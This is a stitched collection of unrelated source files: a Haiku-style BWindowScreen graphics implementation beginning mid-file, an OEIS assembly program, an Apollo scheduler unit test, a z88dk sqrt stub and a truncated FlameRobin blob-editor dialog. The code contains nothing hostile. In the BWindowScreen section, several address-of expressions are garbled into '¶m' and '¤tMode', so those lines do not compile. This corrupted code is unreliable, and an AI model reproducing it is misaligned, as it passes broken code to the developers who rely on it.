scaled_filtered_blit(int32 sx, int32 sy, int32 sw, int32 sh, int32 dx, int32 dy,
int32 dw, int32 dh)
{
scaled_blit_params param;
param.src_left = sx;
param.src_top = sy;
param.src_width = sw;
param.src_height = sh;
param.dest_left = dx;
param.dest_top = dy;
param.dest_width = dw;
param.dest_height = dh;
sAcquireEngineHook(B_2D_ACCELERATION, 0xff, NULL, &sEngineToken);
sScaledFilteredBlitHook(sEngineToken, ¶m, 1);
sReleaseEngineHook(sEngineToken, NULL);
return 0;
}
static int32
draw_rect_8(int32 sx, int32 sy, int32 sw, int32 sh, uint8 color_index)
{
fill_rect_params param;
param.left = sx;
param.top = sy;
param.right = sw;
param.bottom = sh;
sAcquireEngineHook(B_2D_ACCELERATION, 0xff, NULL, &sEngineToken);
sFillRectHook(sEngineToken, color_index, ¶m, 1);
sReleaseEngineHook(sEngineToken, NULL);
return 0;
}
static int32
draw_rect_16(int32 sx, int32 sy, int32 sw, int32 sh, uint16 color)
{
fill_rect_params param;
param.left = sx;
param.top = sy;
param.right = sw;
param.bottom = sh;
sAcquireEngineHook(B_2D_ACCELERATION, 0xff, NULL, &sEngineToken);
sFillRectHook(sEngineToken, color, ¶m, 1);
sReleaseEngineHook(sEngineToken, NULL);
return 0;
}
static int32
draw_rect_32(int32 sx, int32 sy, int32 sw, int32 sh, uint32 color)
{
fill_rect_params param;
param.left = sx;
param.top = sy;
param.right = sw;
param.bottom = sh;
sAcquireEngineHook(B_2D_ACCELERATION, 0xff, NULL, &sEngineToken);
sFillRectHook(sEngineToken, color, ¶m, 1);
sReleaseEngineHook(sEngineToken, NULL);
return 0;
}
// #pragma mark - public API calls
void
set_mouse_position(int32 x, int32 y)
{
BMessage command(IS_SET_MOUSE_POSITION);
BMessage reply;
command.AddPoint("where", BPoint(x, y));
_control_input_server_(&command, &reply);
}
// #pragma mark -
BWindowScreen::BWindowScreen(const char *title, uint32 space, status_t *error,
bool debugEnable)
:
BWindow(BScreen().Frame(), title, B_NO_BORDER_WINDOW_LOOK,
kWindowScreenFeel, kWindowScreenFlag | B_NOT_MINIMIZABLE
| B_NOT_CLOSABLE | B_NOT_ZOOMABLE | B_NOT_MOVABLE | B_NOT_RESIZABLE,
B_CURRENT_WORKSPACE)
{
CALLED();
uint32 attributes = 0;
if (debugEnable)
attributes |= B_ENABLE_DEBUGGER;
status_t status = _InitData(space, attributes);
if (error)
*error = status;
}
BWindowScreen::BWindowScreen(const char *title, uint32 space,
uint32 attributes, status_t *error)
:
BWindow(BScreen().Frame(), title, B_NO_BORDER_WINDOW_LOOK,
kWindowScreenFeel, kWindowScreenFlag | B_NOT_MINIMIZABLE
| B_NOT_CLOSABLE | B_NOT_ZOOMABLE | B_NOT_MOVABLE | B_NOT_RESIZABLE,
B_CURRENT_WORKSPACE)
{
CALLED();
status_t status = _InitData(space, attributes);
if (error)
*error = status;
}
BWindowScreen::~BWindowScreen()
{
CALLED();
_DisposeData();
}
void
BWindowScreen::Quit(void)
{
CALLED();
Disconnect();
BWindow::Quit();
}
void
BWindowScreen::ScreenConnected(bool active)
{
// Implemented in subclasses
}
void
BWindowScreen::Disconnect()
{
CALLED();
if (fLockState == 1) {
if (fDebugState)
fDebugFirst = true;
_Deactivate();
}
be_app->ShowCursor();
}
void
BWindowScreen::WindowActivated(bool active)
{
CALLED();
fWindowState = active;
if (active && fLockState == 0 && fWorkState)
_Activate();
}
void
BWindowScreen::WorkspaceActivated(int32 workspace, bool state)
{
CALLED();
fWorkState = state;
if (state) {
if (fLockState == 0 && fWindowState) {
_Activate();
if (!IsHidden()) {
Activate(true);
WindowActivated(true);
}
}
} else if (fLockState)
_Deactivate();
}
void
BWindowScreen::ScreenChanged(BRect screenFrame, color_space depth)
{
// Implemented in subclasses
}
void
BWindowScreen::Hide()
{
CALLED();
Disconnect();
BWindow::Hide();
}
void
BWindowScreen::Show()
{
CALLED();
BWindow::Show();
}
void
BWindowScreen::SetColorList(rgb_color *list, int32 firstIndex, int32 lastIndex)
{
CALLED();
if (firstIndex < 0 || lastIndex > 255 || firstIndex > lastIndex)
return;
if (!Lock())
return;
if (!fActivateState) {
// If we aren't active, we just change our local palette
for (int32 x = firstIndex; x <= lastIndex; x++) {
fPalette[x] = list[x - firstIndex];
}
} else {
uint8 colors[3 * 256];
// the color table has 3 bytes per color
int32 j = 0;
for (int32 x = firstIndex; x <= lastIndex; x++) {
fPalette[x] = list[x - firstIndex];
// update our local palette as well
colors[j++] = fPalette[x].red;
colors[j++] = fPalette[x].green;
colors[j++] = fPalette[x].blue;
}
if (fAddonImage >= 0) {
set_indexed_colors setIndexedColors
= (set_indexed_colors)fGetAccelerantHook(B_SET_INDEXED_COLORS,
NULL);
if (setIndexedColors != NULL) {
setIndexedColors(255, 0,
colors, 0);
}
}
// TODO: Tell the app_server about our changes
BScreen screen(this);
screen.WaitForRetrace();
}
Unlock();
}
status_t
BWindowScreen::SetSpace(uint32 space)
{
CALLED();
display_mode mode;
status_t status = _GetModeFromSpace(space, &mode);
if (status == B_OK)
status = _AssertDisplayMode(&mode);
return status;
}
bool
BWindowScreen::CanControlFrameBuffer()
{
return (fCardInfo.flags & B_FRAME_BUFFER_CONTROL) != 0;
}
status_t
BWindowScreen::SetFrameBuffer(int32 width, int32 height)
{
CALLED();
display_mode highMode = *fDisplayMode;
highMode.flags |= B_SCROLL;
highMode.virtual_height = (int16)height;
highMode.virtual_width = (int16)width;
display_mode lowMode = highMode;
display_mode mode = highMode;
BScreen screen(this);
status_t status = screen.ProposeMode(&mode, &lowMode, &highMode);
if (status == B_OK)
status = _AssertDisplayMode(&mode);
return status;
}
status_t
BWindowScreen::MoveDisplayArea(int32 x, int32 y)
{
CALLED();
move_display_area moveDisplayArea
= (move_display_area)fGetAccelerantHook(B_MOVE_DISPLAY, NULL);
if (moveDisplayArea && moveDisplayArea((int16)x, (int16)y) == B_OK) {
fFrameBufferInfo.display_x = x;
fFrameBufferInfo.display_y = y;
fDisplayMode->h_display_start = x;
fDisplayMode->v_display_start = y;
return B_OK;
}
return B_ERROR;
}
#if 0
void *
BWindowScreen::IOBase()
{
// Not supported
return NULL;
}
#endif
rgb_color *
BWindowScreen::ColorList()
{
CALLED();
return fPalette;
}
frame_buffer_info *
BWindowScreen::FrameBufferInfo()
{
CALLED();
return &fFrameBufferInfo;
}
graphics_card_hook
BWindowScreen::CardHookAt(int32 index)
{
CALLED();
if (fAddonImage < 0)
return NULL;
graphics_card_hook hook = NULL;
switch (index) {
case 5: // 8 bit fill rect
if (sFillRectHook)
hook = (graphics_card_hook)draw_rect_8;
break;
case 6: // 32 bit fill rect
if (sFillRectHook)
hook = (graphics_card_hook)draw_rect_32;
break;
case 7: // screen to screen blit
if (sBlitRectHook)
hook = (graphics_card_hook)blit;
break;
case 8: // screen to screen scaled filtered blit
if (sScaledFilteredBlitHook)
hook = (graphics_card_hook)scaled_filtered_blit;
break;
case 10: // sync aka wait for graphics card idle
if (sWaitIdleHook)
hook = (graphics_card_hook)card_sync;
break;
case 13: // 16 bit fill rect
if (sFillRectHook)
hook = (graphics_card_hook)draw_rect_16;
break;
default:
break;
}
return hook;
}
graphics_card_info *
BWindowScreen::CardInfo()
{
CALLED();
return &fCardInfo;
}
void
BWindowScreen::RegisterThread(thread_id thread)
{
CALLED();
status_t status;
do {
status = acquire_sem(fDebugSem);
} while (status == B_INTERRUPTED);
if (status < B_OK)
return;
void *newDebugList = realloc(fDebugThreads,
(fDebugThreadCount + 1) * sizeof(thread_id));
if (newDebugList != NULL) {
fDebugThreads = (thread_id *)newDebugList;
fDebugThreads[fDebugThreadCount] = thread;
fDebugThreadCount++;
}
release_sem(fDebugSem);
}
void
BWindowScreen::SuspensionHook(bool active)
{
// Implemented in subclasses
}
void
BWindowScreen::Suspend(char* label)
{
CALLED();
if (fDebugState) {
fprintf(stderr, "## Debugger(\"%s\").", label);
fprintf(stderr, " Press Alt-F%" B_PRId32 " or Cmd-F%" B_PRId32 " to resume.\n",
fWorkspaceIndex + 1, fWorkspaceIndex + 1);
if (IsLocked())
Unlock();
activate_workspace(fDebugWorkspace);
// Suspend ourself
suspend_thread(find_thread(NULL));
Lock();
}
}
status_t
BWindowScreen::Perform(perform_code d, void* arg)
{
return inherited::Perform(d, arg);
}
// Reserved for future binary compatibility
void BWindowScreen::_ReservedWindowScreen1() {}
void BWindowScreen::_ReservedWindowScreen2() {}
void BWindowScreen::_ReservedWindowScreen3() {}
void BWindowScreen::_ReservedWindowScreen4() {}
status_t
BWindowScreen::_InitData(uint32 space, uint32 attributes)
{
CALLED();
fDebugState = attributes & B_ENABLE_DEBUGGER;
fDebugThreadCount = 0;
fDebugThreads = NULL;
fDebugFirst = true;
fAttributes = attributes;
// TODO: not really used right now, but should probably be known by
// the app_server
fWorkspaceIndex = fDebugWorkspace = current_workspace();
fLockState = 0;
fAddonImage = -1;
fWindowState = 0;
fOriginalDisplayMode = NULL;
fDisplayMode = NULL;
fModeList = NULL;
fModeCount = 0;
fDebugSem = -1;
fActivateState = false;
fWorkState = false;
status_t status = B_ERROR;
try {
fOriginalDisplayMode = new display_mode;
fDisplayMode = new display_mode;
BScreen screen(this);
status = screen.GetMode(fOriginalDisplayMode);
if (status < B_OK)
throw status;
status = screen.GetModeList(&fModeList, &fModeCount);
if (status < B_OK)
throw status;
status = _GetModeFromSpace(space, fDisplayMode);
if (status < B_OK)
throw status;
status = _GetCardInfo();
if (status < B_OK)
throw status;
fDebugSem = create_sem(1, "WindowScreen debug sem");
if (fDebugSem < B_OK)
throw (status_t)fDebugSem;
memcpy(fPalette, screen.ColorMap()->color_list, sizeof(fPalette));
fActivateState = false;
fWorkState = true;
status = B_OK;
} catch (std::bad_alloc&) {
status = B_NO_MEMORY;
} catch (status_t error) {
status = error;
} catch (...) {
status = B_ERROR;
}
if (status != B_OK)
_DisposeData();
return status;
}
void
BWindowScreen::_DisposeData()
{
CALLED();
Disconnect();
if (fAddonImage >= 0) {
unload_add_on(fAddonImage);
fAddonImage = -1;
}
delete_sem(fDebugSem);
fDebugSem = -1;
if (fDebugState)
activate_workspace(fDebugWorkspace);
delete fDisplayMode;
fDisplayMode = NULL;
delete fOriginalDisplayMode;
fOriginalDisplayMode = NULL;
free(fModeList);
fModeList = NULL;
fModeCount = 0;
fLockState = 0;
}
status_t
BWindowScreen::_LockScreen(bool lock)
{
if (fActivateState == lock)
return B_OK;
// TODO: the BWindowScreen should use the same mechanism as BDirectWindows!
BPrivate::AppServerLink link;
link.StartMessage(AS_DIRECT_SCREEN_LOCK);
link.Attach<bool>(lock);
status_t status = B_ERROR;
if (link.FlushWithReply(status) == B_OK && status == B_OK)
fActivateState = lock;
return status;
}
status_t
BWindowScreen::_Activate()
{
CALLED();
status_t status = _AssertDisplayMode(fDisplayMode);
if (status < B_OK)
return status;
status = _SetupAccelerantHooks();
if (status < B_OK)
return status;
if (!fActivateState) {
status = _LockScreen(true);
if (status != B_OK)
return status;
}
be_app->HideCursor();
SetColorList(fPalette);
if (fDebugState && !fDebugFirst) {
SuspensionHook(true);
_Resume();
} else {
fDebugFirst = true;
ScreenConnected(true);
}
return B_OK;
}
status_t
BWindowScreen::_Deactivate()
{
CALLED();
if (fDebugState && !fDebugFirst) {
_Suspend();
SuspensionHook(false);
} else
ScreenConnected(false);
if (fActivateState) {
status_t status = _LockScreen(false);
if (status != B_OK)
return status;
BScreen screen(this);
SetColorList((rgb_color *)screen.ColorMap()->color_list);
}
_AssertDisplayMode(fOriginalDisplayMode);
_ResetAccelerantHooks();
be_app->ShowCursor();
return B_OK;
}
status_t
BWindowScreen::_SetupAccelerantHooks()
{
CALLED();
status_t status = B_OK;
if (fAddonImage < 0)
status = _InitClone();
else
_ResetAccelerantHooks();
if (status == B_OK) {
sWaitIdleHook = fWaitEngineIdle = (wait_engine_idle)
fGetAccelerantHook(B_WAIT_ENGINE_IDLE, NULL);
sReleaseEngineHook
= (release_engine)fGetAccelerantHook(B_RELEASE_ENGINE, NULL);
sAcquireEngineHook
= (acquire_engine)fGetAccelerantHook(B_ACQUIRE_ENGINE, NULL);
sFillRectHook
= (fill_rectangle)fGetAccelerantHook(B_FILL_RECTANGLE, NULL);
sBlitRectHook = (screen_to_screen_blit)
fGetAccelerantHook(B_SCREEN_TO_SCREEN_BLIT, NULL);
sTransparentBlitHook = (screen_to_screen_transparent_blit)
fGetAccelerantHook(B_SCREEN_TO_SCREEN_TRANSPARENT_BLIT, NULL);
sScaledFilteredBlitHook = (screen_to_screen_scaled_filtered_blit)
fGetAccelerantHook(B_SCREEN_TO_SCREEN_SCALED_FILTERED_BLIT, NULL);
if (fWaitEngineIdle)
fWaitEngineIdle();
fLockState = 1;
}
return status;
}
void
BWindowScreen::_ResetAccelerantHooks()
{
CALLED();
if (fWaitEngineIdle)
fWaitEngineIdle();
sFillRectHook = NULL;
sBlitRectHook = NULL;
sTransparentBlitHook = NULL;
sScaledFilteredBlitHook = NULL;
sWaitIdleHook = NULL;
sEngineToken = NULL;
sAcquireEngineHook = NULL;
sReleaseEngineHook = NULL;
fWaitEngineIdle = NULL;
fLockState = 0;
}
status_t
BWindowScreen::_GetCardInfo()
{
CALLED();
BScreen screen(this);
display_mode mode;
status_t status = screen.GetMode(&mode);
if (status < B_OK)
return status;
uint32 bitsPerPixel;
switch(mode.space & 0x0fff) {
case B_CMAP8:
bitsPerPixel = 8;
break;
case B_RGB15:
bitsPerPixel = 15;
break;
case B_RGB16:
bitsPerPixel = 16;
break;
case B_RGB32:
bitsPerPixel = 32;
break;
default:
bitsPerPixel = 0;
break;
}
fCardInfo.version = 2;
fCardInfo.id = screen.ID().id;
fCardInfo.bits_per_pixel = bitsPerPixel;
fCardInfo.width = mode.virtual_width;
fCardInfo.height = mode.virtual_height;
if (mode.space & 0x10)
memcpy(fCardInfo.rgba_order, "rgba", 4);
else
memcpy(fCardInfo.rgba_order, "bgra", 4);
fCardInfo.flags = 0;
if (mode.flags & B_SCROLL)
fCardInfo.flags |= B_FRAME_BUFFER_CONTROL;
if (mode.flags & B_PARALLEL_ACCESS)
fCardInfo.flags |= B_PARALLEL_BUFFER_ACCESS;
AppServerLink link;
link.StartMessage(AS_GET_FRAME_BUFFER_CONFIG);
link.Attach<screen_id>(screen.ID());
status_t result = B_ERROR;
if (link.FlushWithReply(result) < B_OK || result < B_OK)
return result;
frame_buffer_config config;
link.Read<frame_buffer_config>(&config);
fCardInfo.frame_buffer = config.frame_buffer;
fCardInfo.bytes_per_row = config.bytes_per_row;
return B_OK;
}
void
BWindowScreen::_Suspend()
{
CALLED();
status_t status;
do {
status = acquire_sem(fDebugSem);
} while (status == B_INTERRUPTED);
if (status != B_OK)
return;
// Suspend all the registered threads
for (int32 i = 0; i < fDebugThreadCount; i++) {
snooze(10000);
suspend_thread(fDebugThreads[i]);
}
graphics_card_info *info = CardInfo();
size_t fbSize = info->bytes_per_row * info->height;
// Save the content of the frame buffer into the local buffer
fDebugFrameBuffer = (char *)malloc(fbSize);
memcpy(fDebugFrameBuffer, info->frame_buffer, fbSize);
}
void
BWindowScreen::_Resume()
{
CALLED();
graphics_card_info *info = CardInfo();
// Copy the content of the debug_buffer back into the frame buffer.
memcpy(info->frame_buffer, fDebugFrameBuffer,
info->bytes_per_row * info->height);
free(fDebugFrameBuffer);
fDebugFrameBuffer = NULL;
// Resume all the registered threads
for (int32 i = 0; i < fDebugThreadCount; i++) {
resume_thread(fDebugThreads[i]);
}
release_sem(fDebugSem);
}
status_t
BWindowScreen::_GetModeFromSpace(uint32 space, display_mode *dmode)
{
CALLED();
int32 width, height;
uint32 colorSpace;
if (!BPrivate::get_mode_parameter(space, width, height, colorSpace))
return B_BAD_VALUE;
for (uint32 i = 0; i < fModeCount; i++) {
if (fModeList[i].space == colorSpace
&& fModeList[i].virtual_width == width
&& fModeList[i].virtual_height == height) {
memcpy(dmode, &fModeList[i], sizeof(display_mode));
return B_OK;
}
}
return B_ERROR;
}
status_t
BWindowScreen::_InitClone()
{
CALLED();
if (fAddonImage >= 0)
return B_OK;
BScreen screen(this);
AppServerLink link;
link.StartMessage(AS_GET_ACCELERANT_PATH);
link.Attach<screen_id>(screen.ID());
status_t status = B_ERROR;
if (link.FlushWithReply(status) < B_OK || status < B_OK)
return status;
BString accelerantPath;
link.ReadString(accelerantPath);
link.StartMessage(AS_GET_DRIVER_PATH);
link.Attach<screen_id>(screen.ID());
status = B_ERROR;
if (link.FlushWithReply(status) < B_OK || status < B_OK)
return status;
BString driverPath;
link.ReadString(driverPath);
fAddonImage = load_add_on(accelerantPath.String());
if (fAddonImage < B_OK) {
fprintf(stderr, "InitClone: cannot load accelerant image\n");
return fAddonImage;
}
status = get_image_symbol(fAddonImage, B_ACCELERANT_ENTRY_POINT,
B_SYMBOL_TYPE_TEXT, (void**)&fGetAccelerantHook);
if (status < B_OK) {
fprintf(stderr, "InitClone: cannot get accelerant entry point\n");
unload_add_on(fAddonImage);
fAddonImage = -1;
return B_NOT_SUPPORTED;
}
clone_accelerant cloneHook
= (clone_accelerant)fGetAccelerantHook(B_CLONE_ACCELERANT, NULL);
if (cloneHook == NULL) {
fprintf(stderr, "InitClone: cannot get clone hook\n");
unload_add_on(fAddonImage);
fAddonImage = -1;
return B_NOT_SUPPORTED;
}
status = cloneHook((void*)driverPath.String());
if (status < B_OK) {
fprintf(stderr, "InitClone: cannot clone accelerant\n");
unload_add_on(fAddonImage);
fAddonImage = -1;
}
return status;
}
status_t
BWindowScreen::_AssertDisplayMode(display_mode* displayMode)
{
CALLED();
BScreen screen(this);
display_mode currentMode;
status_t status = screen.GetMode(¤tMode);
if (status != B_OK)
return status;
if (currentMode.virtual_height != displayMode->virtual_height
|| currentMode.virtual_width != displayMode->virtual_width
|| currentMode.space != displayMode->space
|| currentMode.flags != displayMode->flags) {
status = screen.SetMode(displayMode);
if (status != B_OK) {
fprintf(stderr, "AssertDisplayMode: Setting mode failed: %s\n",
strerror(status));
return status;
}
memcpy(fDisplayMode, displayMode, sizeof(display_mode));
}
status = _GetCardInfo();
if (status != B_OK)
return status;
fFrameBufferInfo.bits_per_pixel = fCardInfo.bits_per_pixel;
fFrameBufferInfo.bytes_per_row = fCardInfo.bytes_per_row;
fFrameBufferInfo.width = fCardInfo.width;
fFrameBufferInfo.height = fCardInfo.height;
fFrameBufferInfo.display_width = fCardInfo.width;
fFrameBufferInfo.display_height = fCardInfo.height;
fFrameBufferInfo.display_x = 0;
fFrameBufferInfo.display_y = 0;
return B_OK;
}
|
; A128786: n^2*7^n.
; 0,7,196,3087,38416,420175,4235364,40353607,368947264,3268642167,28247524900,239256535903,1993145356944,16374242758783,132931722278404,1068201339737175,8507630225817856,67230218542302823,527606005722985476,4115001161919704623,31916906519044800400,246318726060728247087,1892353387514166215716,14478067342902804745447,110350789275206254694976,838167887289978063004375,6345936708249881910618724,47904312163016490221726847,360629444651076129405811984,2707940740638884150270427487
mov $2,7
pow $2,$0
mov $3,$0
pow $3,2
mul $3,$2
mov $0,$3
|
/******************************************************************************
* Copyright 2019 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#include <gtest/gtest.h>
#include <algorithm>
#include "cyber/common/global_data.h"
#include "cyber/cyber.h"
#include "cyber/scheduler/policy/choreography_context.h"
#include "cyber/scheduler/policy/classic_context.h"
#include "cyber/scheduler/policy/scheduler_choreography.h"
#include "cyber/scheduler/processor.h"
#include "cyber/scheduler/scheduler_factory.h"
namespace apollo {
namespace cyber {
namespace scheduler {
void func() {}
TEST(SchedulerChoreoTest, choreo) {
auto processor = std::make_shared<Processor>();
auto ctx = std::make_shared<ChoreographyContext>();
processor->BindContext(ctx);
std::shared_ptr<CRoutine> cr = std::make_shared<CRoutine>(func);
auto task_id = GlobalData::RegisterTaskName("choreo");
cr->set_id(task_id);
EXPECT_TRUE(static_cast<ChoreographyContext*>(ctx.get())->Enqueue(cr));
ctx->Shutdown();
}
TEST(SchedulerChoreoTest, sched_choreo) {
GlobalData::Instance()->SetProcessGroup("example_sched_choreography");
auto sched = dynamic_cast<SchedulerChoreography*>(scheduler::Instance());
cyber::Init("SchedulerChoreoTest");
std::shared_ptr<CRoutine> cr = std::make_shared<CRoutine>(func);
cr->set_id(GlobalData::RegisterTaskName("sched_choreo"));
cr->set_name("sched_choreo");
EXPECT_TRUE(sched->DispatchTask(cr));
std::shared_ptr<CRoutine> cr1 = std::make_shared<CRoutine>(func);
cr1->set_id(GlobalData::RegisterTaskName("sched_choreo1"));
cr1->set_name("sched_choreo1");
cr1->set_processor_id(0);
EXPECT_TRUE(sched->DispatchTask(cr1));
auto& croutines =
ClassicContext::cr_group_[DEFAULT_GROUP_NAME].at(cr->priority());
std::vector<std::string> cr_names;
for (auto& croutine : croutines) {
cr_names.emplace_back(croutine->name());
}
auto itr = std::find(cr_names.begin(), cr_names.end(), cr->name());
EXPECT_NE(itr, cr_names.end());
itr = std::find(cr_names.begin(), cr_names.end(), cr1->name());
EXPECT_EQ(itr, cr_names.end());
sched->RemoveTask(cr->name());
croutines = ClassicContext::cr_group_[DEFAULT_GROUP_NAME].at(cr->priority());
cr_names.clear();
for (auto& croutine : croutines) {
cr_names.emplace_back(croutine->name());
}
itr = std::find(cr_names.begin(), cr_names.end(), cr->name());
EXPECT_EQ(itr, cr_names.end());
}
} // namespace scheduler
} // namespace cyber
} // namespace apollo
|
; float sqrt(float x) __z88dk_fastcall
SECTION code_clib
SECTION code_fp_math48
PUBLIC cm48_sdccix_sqrt_fastcall
EXTERN cm48_sdccixp_dx2m48, am48_sqrt, cm48_sdccixp_m482d
cm48_sdccix_sqrt_fastcall:
call cm48_sdccixp_dx2m48
call am48_sqrt
jp cm48_sdccixp_m482d
|
/*
Copyright (c) 2004-2021 The FlameRobin Development Team
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
// For compilers that support precompilation, includes "wx/wx.h".
#include "wx/wxprec.h"
// for all others, include the necessary headers (this file is usually all you
// need because it includes almost all "standard" wxWindows headers
#ifndef WX_PRECOMP
#include "wx/wx.h"
#endif
#include <wx/stream.h>
#include <wx/wfstream.h>
#include "AdvancedMessageDialog.h"
#include "core/FRError.h"
#include "core/StringUtils.h"
#include "gui/CommandIds.h"
#include "gui/CommandManager.h"
#include "gui/controls/ControlUtils.h"
#include "gui/controls/DataGridTable.h"
#include "gui/EditBlobDialog.h"
#include "gui/FRLayoutConfig.h"
#include "gui/StyleGuide.h"
// Static members
/* maybe later needed if plugin will be implemented
int EditBlobDialog::m_libEditBlobUseCount = 0;
wxDynamicLibrary* EditBlobDialog::m_libEditBlob = NULL;
*/
// Helper Class of wxStyledTextCtrl to handle NULL values
class EditBlobDialogSTC : public wxStyledTextCtrl
{
public:
EditBlobDialogSTC(wxWindow *parent, wxWindowID id=wxID_ANY);
void setIsNull(bool isNull);
bool getIsNull() { return isNullM; }
void ClearAll();
void SetText(const wxString& text);
private:
bool isNullM;
void OnChar(wxKeyEvent& event);
void OnKeyDown(wxKeyEvent& event);
DECLARE_EVENT_TABLE()
};
EditBlobDialogSTC::EditBlobDialogSTC(wxWindow *parent, wxWindowID id)
: wxStyledTextCtrl(parent, id, wxDefaultPosition, wxDefaultSize,
wxBORDER_THEME), isNullM(false)
{
wxFont fontNull(frlayoutconfig().getEditorFontSize(),
wxFONTFAMILY_MODERN, wxFONTSTYLE_NORMAL, wxFONTWEIGHT_NORMAL,
false);
StyleSetFont(10, fontNull);
StyleSetForeground(10, "RED");
}
void EditBlobDialogSTC::OnKeyDown(wxKeyEvent& event)
{
if (GetReadOnly())
{
event.Skip();
return;
}
int kc = event.GetKeyCode();
if ((kc == WXK_DELETE) &&
(GetText() == ""))
{
setIsNull(true);
return;
}
if ((kc == WXK_DELETE) ||
(kc == WXK_RETURN) ||
(kc == WXK_BACK) ||
(kc == WXK_TAB))
setIsNull(false);
event.Skip();
}
void EditBlobDialogSTC::OnChar(wxKeyEvent& event)
{
if (GetReadOnly())
{
event.Skip();
return;
}
setIsNull(false);
event.Skip();
}
void EditBlobDialogSTC::setIsNull(bool isNull)
{
if (isNull == isNullM)
return;
if (isNull)
{
wxStyledTextCtrl::SetText("[null]");
SelectAll();
StartStyling(0, 0);
SetStyling(GetTextLength(), 0x0A);
}
else
{
StartStyling(0, 0);
SetStyling(GetTextLength(), 0);
}
isNullM = isNull;
}
void EditBlobDialogSTC::ClearAll()
{
setIsNull(false);
wxStyledTextCtrl::ClearAll();
}
void EditBlobDialogSTC::SetText(const wxString& text)
{
setIsNull(false);
wxStyledTextCtrl::SetText(text);
}
//! event handling
BEGIN_EVENT_TABLE(EditBlobDialogSTC, wxStyledTextCtrl)
EVT_KEY_DOWN(EditBlobDialogSTC::OnKeyDown)
EVT_CHAR(EditBlobDialogSTC::OnChar)
END_EVENT_TABLE()
// Helper Class of wxStyledTextCtrl
// -> adds a context to toggle "Linkebreak" on / off
class EditBlobDialogSTCText : public EditBlobDialogSTC
{
public:
EditBlobDialogSTCText(wxWindow *parent, wxWindowID id=wxID_ANY);
bool hasSelection();
private:
void OnContextMenuCmd(wxCommandEvent& event);
void OnContextMenu(wxContextMenuEvent& WXUNUSED(event));
DECLARE_EVENT_TABLE()
};
EditBlobDialogSTCText::EditBlobDialogSTCText(wxWindow *parent, wxWindowID id)
: EditBlobDialogSTC(parent,id)
{
}
bool EditBlobDialogSTCText::hasSelection()
{
return GetSelectionStart() != GetSelectionEnd();
}
void EditBlobDialogSTCText::OnContextMenu(wxContextMenuEvent& event)
{
if (AutoCompActive() || CallTipActive())
return;
SetFocus();
bool isWrapModeWord = (GetWrapMode() == wxSTC_WRAP_WORD);
wxMenu m;
m.Append(wxID_UNDO, _("&Undo"))->Enable(CanUndo());
m.Append(wxID_REDO, _("&Redo"))->Enable(CanRedo());
m.AppendSeparator();
m.Append(wxID_CUT, _("Cu&t"))->Enable(hasSelection());
m.Append(wxID_COPY, _("&Copy"))->Enable(hasSelection());
m.Append(wxID_PASTE, _("&Paste"))->Enable(CanPaste());
m.Append(wxID_DELETE, _("&Delete"))->Enable(hasSelection());
m.AppendSeparator();
m.Append(wxID_SELECTALL, _("Select &All"));
m.AppendCheckItem(Cmds::BlobEditor_ChangeLineBreak, _("Line break"))->Check(isWrapModeWord);
PopupMenu(&m, calcContextMenuPosition(event.GetPosition(), this));
}
void EditBlobDialogSTCText::OnContextMenuCmd(wxCommandEvent& event)
{
switch (event.GetId())
{
case wxID_UNDO : Undo(); break;
case wxID_REDO : Redo(); break;
case wxID_CUT : Cut(); break;
case wxID_COPY : Copy(); break;
case wxID_PASTE : Paste(); break;
case wxID_DELETE : Clear(); break;
case wxID_SELECTALL : SelectAll(); break;
case Cmds::BlobEditor_ChangeLineBreak :
int newWrapMode = (GetWrapMode() == wxSTC_WRAP_NONE)
? wxSTC_WRAP_WORD : wxSTC_WRAP_NONE;
SetWrapMode(newWrapMode);
break;
}
}
BEGIN_EVENT_TABLE(EditBlobDialogSTCText, EditBlobDialogSTC)
EVT_CONTEXT_MENU(EditBlobDialogSTCText::OnContextMenu)
EVT_MENU(wxID_UNDO, EditBlobDialogSTCText::OnContextMenuCmd)
EVT_MENU(wxID_REDO, EditBlobDialogSTCText::OnContextMenuCmd)
EVT_MENU(wxID_CUT, EditBlobDialogSTCText::OnContextMenuCmd)
EVT_MENU(wxID_COPY, EditBlobDialogSTCText::OnContextMenuCmd)
EVT_MENU(wxID_PASTE, EditBlobDialogSTCText::OnContextMenuCmd)
EVT_MENU(wxID_DELETE, EditBlobDialogSTCText::OnContextMenuCmd)
EVT_MENU(wxID_SELECTALL, EditBlobDialogSTCText::OnContextMenuCmd)
EVT_MENU(Cmds::BlobEditor_ChangeLineBreak, EditBlobDialogSTCText::OnContextMenuCmd)
END_EVENT_TABLE()
// Helper-Class for streaming into blob / buffer
class FRInputBlobStream : public wxInputStream
{
public:
FRInputBlobStream(IBPP::Blob blob);
virtual ~FRInputBlobStream();
virtual size_t GetSize() const;
protected:
virtual size_t OnSysRead(void *buffer, size_t size);
private:
IBPP::Blob blobM;
int sizeM;
};
class FROutputBlobStream : public wxOutputStream
{
public:
FROutputBlobStream(IBPP::Blob blob);
virtual ~FROutputBlobStream();
virtual bool Close();
protected:
virtual size_t OnSysWrite(const void *buffer, size_t bufsize);
private:
IBPP::Blob blobM;
};
// Helper Class - ProgressPanel - Progress-info with Progressbar
class EditBlobDialogProgressSizer : public wxBoxSizer
{
public:
EditBlobDialogProgressSizer(wxWindow* parent);
void Hide();
